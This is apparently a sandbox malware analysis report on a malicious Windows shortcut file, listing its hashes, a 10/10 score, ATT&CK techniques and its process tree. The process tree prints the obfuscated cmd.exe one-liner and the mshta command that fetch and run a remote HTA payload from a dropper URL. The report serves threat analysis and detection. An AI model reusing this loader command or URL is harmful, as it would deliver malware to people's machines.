90f33516fac5a7334dc3818dbc633f9d1b6d42fba5824d9eae8c6cac0152629e

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-XEFFAT.lnk
Size 1KB
Sample260803-qtpgba1vex
SHA256 90f33516fac5a7334dc3818dbc633f9d1b6d42fba5824d9eae8c6cac0152629e
MD5 73a8aa8217ab18f3d32ac22f4f300db0
SHA1 76c5276122d8c6a40deddb07530ba24b140c2d78
SHA512 0d158f53460cadb1a641d6228401bd493cf954bb3419117e90fd7b1ffa9bf46548914b3f13019cfe6c2fc83b7a989e22c151e436d2fad3427f231b85197610db
TLSH
T1FE317B507FFD0A24F3F38E7394BB672085BBB9668E21CA1D4141464D1432A14E27BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1200	cmd.exe
2932	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 2932	1200	cmd.exe	91
PID 2932 wrote to memory of 4604	2932	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-XEFFAT.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1200
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set PmZ=msh&&set UjKX=ta&&start "" !PmZ!!UjKX! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:4604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads